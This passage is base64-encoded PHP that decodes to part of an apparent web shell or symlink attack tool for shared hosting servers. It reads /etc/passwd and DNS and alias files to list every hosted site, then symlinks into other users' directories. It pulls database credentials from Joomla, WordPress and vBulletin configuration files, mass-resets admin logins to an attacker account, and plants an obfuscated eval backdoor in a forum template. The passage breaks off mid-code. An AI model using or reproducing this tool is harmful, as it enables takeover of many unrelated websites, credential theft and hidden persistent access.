PHRyPgoKCgo8dGQgd2lkdGg9JzE1JSc+CiR1c2VyCjwvdGQ+CgoKCgoKCjx0ZCB3aWR0aD0nMTAl Jz4KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxh bmsnPlN5bWxpbmsgPC9hPgo8L3RkPgoKPHRkIHdpZHRoPScxMCUnPgo8YSBocmVmPSckcGFnZUZU UC9zeW0vcm9vdC9ob21lLyR1c2VyL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+RlRQPC9h Pgo8L3RkPgoKCgo8L3RyPjwvZGl2PiAiOwoKCmZsdXNoKCk7CmZsdXNoKCk7CgoKfQoKCgoKCgpk aWUgKCI8L3RyPjwvZGl2PiIpOwoKCiAgICAgICAgICAgICAgICAgIH0KCgoKCgp9CgoKCmVjaG8g InJlYWQgL2V0Yy9wYXNzd2QiOwplY2hvICI8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J3Bvc3Qn IGFjdGlvbj0nP3N3cz1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIw JyBuYW1lPSdmaWxlJz4iOwpmbHVzaCgpOwoKJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOwoKCiRyM2Fk ID0gQGZvcGVuKCRmaWxlLCAncicpOwppZiAoJHIzYWQpewokY29udGVudCA9IEBmcmVhZCgkcjNh ZCwgQGZpbGVzaXplKCRmaWxlKSk7CmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsK fQplbHNlaWYoISRyM2FkKQp7CiRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7Cn0KZWxzZWlm KCEkcjNhZCkKewokcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7Cn0KZWxzZWlmKCEkcjNh ZCkKewoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVp ZD0wOyR1aWQ8MTAwMDskdWlkKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgewogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgk a2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICB9CgogfQoKCmZsdXNoKCk7CgoKZWNobyAiPC90ZXh0YXJlYT48YnIgLz48 YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJz cDsmbmJzcDsnLz4gPC9mb3JtPiI7CmZsdXNoKCk7CgpicmVhazsKCgoKY2FzZSAnam9vbWxhJzoK Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8geHh4eHh4eHh4eHh4eHh4eHh4eCAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vCgoKaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsKCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRz KCdqb29tbGEudHh0Jyk7CgokZXggICA9IGV4cGxvZGUoIlxuIiwkZmlsZSk7CgplY2hvICI8ZGl2 IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWlu IDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7CmZsdXNoKCk7CgoKZm9y ZWFjaCAoJGV4IGFzICRleHApewoKJGVzICAgPSBleHBsb2RlKCJ8fCIsJGV4cCk7CgokY29uZmln ID0gJGVzWzBdOwoKJGRvbWluID0gJGVzWzFdOwoKJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsK CiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsKCmlmKGVy ZWcoJ0pDb25maWcnLCRyZWFkY29uZmlnKSl7CgoKCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmln LCckcGFzc3dvcmQgPSBcJycsIic7Iik7CgokdXNlcmRiICA9ICBleCgkcmVhZGNvbmZpZywnJHVz ZXIgPSBcJycsIic7Iik7CgokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRiID0gXCcnLCIn OyIpOwoKJGZpeCAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYnByZWZpeCA9IFwnJywiJzsiKTsK CiR0YWIgICAgID0gICRmaXguJ3VzZXJzJzsKCgokY29uICAgICA9IEBteXNxbF9jb25uZWN0KCds b2NhbGhvc3QnLCR1c2VyZGIsJHBhc3MpOwoKJGRiICAgICAgPSBAbXlzcWxfc2VsZWN0X2RiKCRk YiwkY29uKTsKCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVz ZXJuYW1lYCA9J3NlYy13LmNvbSciKTsKCgokcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRF IGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSc0NGEwYmNkYTYxMTUxNDYyNWJhOTRlMGIxYzBiZGFl ZDoyaWV0czl5ZGpSM2lPZFN1eXZXNTRwSXp5RjlNMVA1SiciKTsKCgppZiAoJHF1ZXJ5IGFuZCAk cXVlcnkzICl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2Vy IFtzZWMtdy5jb21dIHBhc3MgWzFdPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJl ZCI+ZmFpbGVkPC9iPic7fQoKJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsKCmVjaG8gIjx0cj4K PHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwv dGQ+Cjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+ PHRkPiIuJHIuIjwvdGQ+PC90cj4iOwpmbHVzaCgpOwoKCgp9ZWxzZXsKCmVjaG8gIjx0cj4KPHRk PjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+ Cjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRleHAnPmNvbmZpZzwvYT48L3Rk Pjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQ8L2I+PC90ZD48L3RyPiI7CmZsdXNoKCk7 Cgp9Cgp9CgoKCgoKCgoKCmRpZSgpOwoKfQoKaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsKCiRk MDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoKZmx1c2goKTsKCgp9ZWxzZXsKCiRkMDBt ID0gZmlsZSgibmFtZWQudHh0Iik7CgoKfQppZighJGQwMG0pCnsKCiAgICAgICAgICAgICAgICBk aWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFk Jy8+Iik7Cn0KZWxzZQoKewplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPgo8Zm9ybSBtZXRob2Q9J1BP U1QnIGFjdGlvbj0nJHBnP3N3cz1qb29tbGEnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0n TWFzcyBjaGluZyBBZG1pbicgLz4KPGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JzEnIG5hbWU9 J3MnIC8+CjwvZm9ybT48YnIgLz48YnIgLz4KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0 MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4i OwoKJGYgPSBmb3Blbignam9vbWxhLnR4dCcsJ3cnKTsKCmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7 CgppZihlcmVnaSgiem9uZSIsJGRvbSkpewoKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMn LCAkZG9tLCAkZG9tc3dzKTsKCmlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpewoK JHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3 c1sxXVswXSkpOwoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiR3cGw9JHBhZ2VVUkwuIi9z eW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24u cGhwIjsKJHdwcD1nZXRfaGVhZGVycygkd3BsKTsKJHdwPSR3cHBbMF07Cgokd3AyPSRwYWdlVVJM LiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL2NvbmZp Z3VyYXRpb24ucGhwIjsKJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7CiR3cDEyPSR3cHAyWzBdOwoK JHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0 bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsKJHdwcDM9Z2V0X2hlYWRlcnMoJHdwMyk7CiR3 cDEzPSR3cHAzWzBdOwoKCiAvLy8vLy8vLy8vIGpvb21sYSAvLy8vLy8vLy8vLy8KCiRwb3MgPSBz dHJwb3MoJHdwLCAiMjAwIik7CiRjb25maWc9IiZuYnNwOyI7CgppZiAoc3RycG9zKCR3cCwgIjIw MCIpID09IHRydWUgKQp7CiAkY29uZmlnPSAkd3BsOwp9CmVsc2VpZiAoc3RycG9zKCR3cDEyLCAi MjAwIikgPT0gdHJ1ZSkKewogICRjb25maWc9ICR3cDI7Cn0KZWxzZWlmIChzdHJwb3MoJHdwMTMs ICIyMDAiKSA9PSB0cnVlKQp7CiAgJGNvbmZpZz0gJHdwMzsKfQplbHNlCnsKY29udGludWU7Cgp9 CmZsdXNoKCk7CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgokZG9tID0gJGRvbXN3c1sx XVswXTsKCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7CmlmKCR3KXskciA9ICc8 YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0i Y29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9CgoKZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93 d3cuIi4kZG9tc3dzWzFdWzBdLiI+Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4KPHRkPjxhIGhy ZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsKCgoKCgpm bHVzaCgpOwoKCn0KfQp9Cn0KCgpicmVhazsKCmNhc2UgJ3dwJzoKCiMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMgaW5kZXggIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzMKCgoKCgoKIyMjIyMj IyMgIGFkbWluICMjIyMjIyMjIyMzMwoKaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsKCiRmaWxlID0g QGZpbGVfZ2V0X2NvbnRlbnRzKCd3cC50eHQnKTsKCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxl KTsKCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0 MCUnPjx0ZD4gZG9taW4gPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsK Zmx1c2goKTsKZmx1c2goKTsKCgpmb3JlYWNoICgkZXggYXMgJGV4cCl7CgokZXMgICA9IGV4cGxv ZGUoInx8IiwkZXhwKTsKCiRjb25maWcgPSAkZXNbMF07CgokZG9taW4gPSAkZXNbMV07CgokZG9t aW5zID0gdHJpbSgkZG9taW4pLicnOwoKJHJlYWRjb25maWcgID0gQGZpbGVfZ2V0X2NvbnRlbnRz KHRyaW0oJGNvbmZpZykpOwoKaWYoZXJlZygnd3Atc2V0dGluZ3MucGhwJywkcmVhZGNvbmZpZykp ewoKCgokcGFzcyAgICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9QQVNTV09SRCcsICci LCInKTsiKTsKCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1VTRVInLCAn IiwiJyk7Iik7CgokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9OQU1FJywg JyIsIicpOyIpOwoKJGZpeCAgICAgPSAgZXgoJHJlYWRjb25maWcsJyR0YWJsZV9wcmVmaXggID0g XCcnLCInOyIpOwoKJHRhYiAgICAgPSAkZml4Lid1c2Vycyc7CgokY29uICAgICA9IEBteXNxbF9j b25uZWN0KCdsb2NhbGhvc3QnLCR1c2VyZGIsJHBhc3MpOwoKJGRiICAgICAgPSBAbXlzcWxfc2Vs ZWN0X2RiKCRkYiwkY29uKTsKCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJg IFNFVCBgdXNlcl9sb2dpbmAgPSdzZWMtdy5jb20nIikgb3IgZGllOwoKJHF1ZXJ5ICAgPSBAbXlz cWxfcXVlcnkoIlVQREFURSBgJHRhYmAgU0VUIGB1c2VyX3Bhc3NgID0nJDEkNHovLjVpLi4kOWFI WUIuZlVIRW1OWi5lSUtZVHd4LyciKSBvciBkaWU7CgoKCmlmICgkcXVlcnkpeyRyID0gJzxiIHN0 eWxlPSJjb2xvcjogIzAwNjYwMCI+U3VjY2VlZCA8L2I+dXNlciBbc2VjLXcuY29tXSBwYXNzIFsx XTwvYj4nO30KCmVsc2UKCnsKCiRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4n OwoKfQoKJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsKCmVjaG8gIjx0cj4KPHRkPjxhIHRhcmdl dD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+Cjx0ZD48YSB0 YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwv dGQ+PC90cj4iOwoKZmx1c2goKTsKZmx1c2goKTsKCgoKCgoKfWVsc2V7CgplY2hvICI8dHI+Cjx0 ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3Rk Pgo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kY29uZmlnJz5jb25maWc8L2E+ PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkMjwvYj48L3RkPjwvdHI+IjsKCmZs dXNoKCk7CmZsdXNoKCk7Cgp9Cgp9CgoKCgoKCgoKCgpkaWUoKTsKCn0KCmlmKCFpc19maWxlKCdu YW1lZC50eHQnKSl7CgokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKCn1lbHNlewoK JGQwMG0gPSBAZmlsZSgibmFtZWQudHh0Iik7CgoKfQppZighJGQwMG0pCnsKCiAgICAgICAgICAg ICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3 cz1yZWFkJy8+Iik7Cn0KZWxzZQoKewplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPgo8Zm9ybSBtZXRo b2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3N3cz13cCc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVl PSdNYXNzIENoYW5nZSBBZG1pbicgLz4KPGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JzEnIG5h bWU9J3MnIC8+CjwvZm9ybT4KPGJyIC8+PGJyIC8+Cjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0 aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwv dGQ+IjsKCmZsdXNoKCk7CmZsdXNoKCk7CgokZiA9IGZvcGVuKCd3cC50eHQnLCd3Jyk7Cgpmb3Jl YWNoKCRkMDBtIGFzICRkb20pewoKaWYoZXJlZ2koInpvbmUiLCRkb20pKXsKCnByZWdfbWF0Y2hf YWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7CgppZihzdHJsZW4odHJpbSgkZG9t c3dzWzFdWzBdKSkgPiAyKXsKCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0 Yy92YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Cgokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNf aHRtbC93cC1jb25maWcucGhwIjsKJHdwcD1nZXRfaGVhZGVycygkd3BsKTsKJHdwPSR3cHBbMF07 Cgokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNf aHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOwokd3BwMj1nZXRfaGVhZGVycygkd3AyKTsKJHdwMTI9 JHdwcDJbMF07Cgokd3AzPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10u Ii9wdWJsaWNfaHRtbC93cC93cC1jb25maWciOwokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsKJHdw MTM9JHdwcDNbMF07CgoKIC8vLy8vLy8vLy8gd3AgLy8vLy8vLy8vLy8vCgokcG9zID0gc3RycG9z KCR3cCwgIjIwMCIpOwokY29uZmlnPSImbmJzcDsiOwoKaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9 PSB0cnVlICkKewogJGNvbmZpZz0gJHdwbDsKfQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIp ID09IHRydWUpCnsKICAkY29uZmlnPSAkd3AyOwp9CmVsc2VpZiAoc3RycG9zKCR3cDEzLCAiMjAw IikgPT0gdHJ1ZSkKewogICRjb25maWc9ICR3cDM7Cn0KZWxzZQp7CmNvbnRpbnVlOwoKfQpmbHVz aCgpOwoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKJGRvbSA9ICRkb21zd3NbMV1bMF07 CgokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBcbiIpOwppZigkdyl7JHIgPSAnPGIgc3R5 bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9y OnJlZCI+ZmFpbGVkPC9iPic7fQoKCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIu JGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+Cjx0ZD48YSBocmVmPSck Y29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7CmZsdXNoKCk7CmZs dXNoKCk7CgoKCgoKZmx1c2goKTsKCgp9Cn0KfQp9CgoKYnJlYWs7CgoKY2FzZSAndmInOgoKCmlm KGlzc2V0KCRfUE9TVFsncyddKSl7CgoKCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd2Yi50 eHQnKTsKCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsKCmVjaG8gIjxkaXYgY2xhc3M9J3Rt cCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gZG9taW4gPC90ZD48dGQ+ IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsKCgpmb3JlYWNoICgkZXggYXMgJGV4cCl7 CgokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsKCiRjb25maWcgPSAkZXNbMF07CgokZG9taW4g PSAkZXNbMV07CgokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOwoKJHJlYWRjb25maWcgID0gQGZp bGVfZ2V0X2NvbnRlbnRzKHRyaW0oJGNvbmZpZykpOwoKaWYoZXJlZygndkJ1bGxldGluJywkcmVh ZGNvbmZpZykpewoKCgokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGNvbmZpZ1tcJ0RhdGFi YXNlXCddW1wnZGJuYW1lXCddID0gXCcnLCInOyIpOwoKJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25m aWcsJyRjb25maWdbXCdNYXN0ZXJTZXJ2ZXJcJ11bXCd1c2VybmFtZVwnXSA9IFwnJywiJzsiKTsK CiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCckY29uZmlnW1wnTWFzdGVyU2VydmVyXCddW1wn cGFzc3dvcmRcJ10gPSBcJycsIic7Iik7CgokY29uICAgICA9IEBteXNxbF9jb25uZWN0KCdsb2Nh bGhvc3QnLCR1c2VyZGIsJHBhc3MpOwoKJGRiICAgICAgPSBAbXlzcWxfc2VsZWN0X2RiKCRkYiwk Y29uKTsKCiRzaGVsbCAgID0gImJWRFBTOE13Rkw0TC9nK3ZZWkFXZFBQaWFVdjE0a0FRRktxblVV cWFwalNZTktGSnhDbjczMjJhYmd6Y0lmRHl2bCtQNy9xS3MwNEQzdFM1c0o5Nk1NSjliK29oRHc4 dlRXY3EzMVBGMDJ5SnAvV3F6dkVhWmsyckJ3V1VPYUY3Z2hBbzdqcmRFR1MwZFFoNHo5emVjSUtV bDA0WU9yaFY0TjgyMUZFRXdaUWdiNlNtRFI4UWlPYnNkeFloZXVNZFJLTldTSDVVeHRtS24zRyt2 MFA1VEl4Z05UcWhXV1I5cllTTEFYSC9SYVVmZ1k4cGJWUk9aNFZJMGFhd3FONWVpL2NkRGxSY0Fp RndKRUlHdjRIeXlMVFpwNHRxKy96eVZPeHdPQVNYTyt5VXFVSTZMbS9nSHhpQkxEaWM2bzYyVUhq R3VMV1FKRWtvOTlUOUdnN0FwZVVYSkZzcTVFWCtBUjd5UHc9PSIgOwoKJGNyeXB0ICA9ICJ7XCR7 ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZShcJyI7CgokY3J5cHQgLj0gIiRzaGVsbCI7Cgok Y3J5cHQgLj0gIlwnKSkpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7Cgokc3FsZmFxID0gIlVQ REFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J0ZB USciIDsKCiRxdWVyeSAgPSBAbXlzcWxfcXVlcnkoJHNxbGZhcSwkY29uKTsKCgoKaWYgKCRxdWVy eSl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkPC9iPiBzaGVsbCBpbiBz ZWFyY2gucGhwJzt9CgplbHNlCgp7CgokciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8 L2I+JzsKCn0KCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7CgplY2hvICI8dHI+Cjx0ZD48YSB0 YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPgo8dGQ+ PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRy LiI8L3RkPjwvdHI+IjsKCgoKCgoKCn1lbHNlewoKZWNobyAiPHRyPgo8dGQ+PGEgdGFyZ2V0PSdf YmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4KPHRkPjxhIHRhcmdl dD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPjxiIHN0 eWxlPSdjb2xvcjpyZWQnPmZhaWxlZDI8L2I+PC90ZD48L3RyPiI7Cn0KCn0KCgoKCgoKCgoKCmRp ZSgpOwoKfQoKaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsKCiRkMDBtID0gZmlsZSgiL2V0Yy9u YW1lZC5jb25mIik7Cgp9ZWxzZXsKCiRkMDBtID0gZmlsZSgibmFtZWQudHh0Iik7CgoKfQppZigh JGQwMG0pCnsKCiAgICAgICAgICAgICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNo JyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7Cn0KZWxzZQoKewplY2hvICI8ZGl2IGNs YXNzPSd0bXAnPgo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3N3cz12Yic+CjxpbnB1 dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdJbmplY3Qgc2hlbGwnIC8+CjxpbnB1dCB0eXBlPSdoaWRk ZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPgo8L2Zvcm0+CjxiciAvPjxiciAvPgo8dGFibGUgYWxp Z249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90 ZD48dGQ+IFJlc3VsdCA8L3RkPiI7CgokZiA9IGZvcGVuKCd2Yi50eHQnLCd3Jyk7Cgpmb3JlYWNo KCRkMDBtIGFzICRkb20pewoKaWYoZXJlZ2koInpvbmUiLCRkb20pKXsKCnByZWdfbWF0Y2hfYWxs KCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7CgppZihzdHJsZW4odHJpbSgkZG9tc3dz WzFdWzBdKSkgPiAyKXsKCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92 YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgok d3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9pbmNsdWRlcy9j b25maWcucGhwIjsKJHdwcD1nZXRfaGVhZGVycygkd3BsKTsKJHdwPSR3cHBbMF07Cgokd3AyPSRw YWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi92Yi9pbmNsdWRlcy9jb25m aWcucGhwIjsKJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7CiR3cDEyPSR3cHAyWzBdOwoKJHdwMz0k cGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvZm9ydW0vaW5jbHVkZXMv Y29uZmlnLnBocCI7CiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOwokd3AxMz0kd3BwM1swXTsKCgog Ly8vLy8vLy8vLyB2YiAvLy8vLy8vLy8vLy8KCiRwb3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7CiRj b25maWc9IiZuYnNwOyI7CgppZiAoc3RycG9zKCR3cCwgIjIwMCIpID09IHRydWUgKQp7CiAkY29u 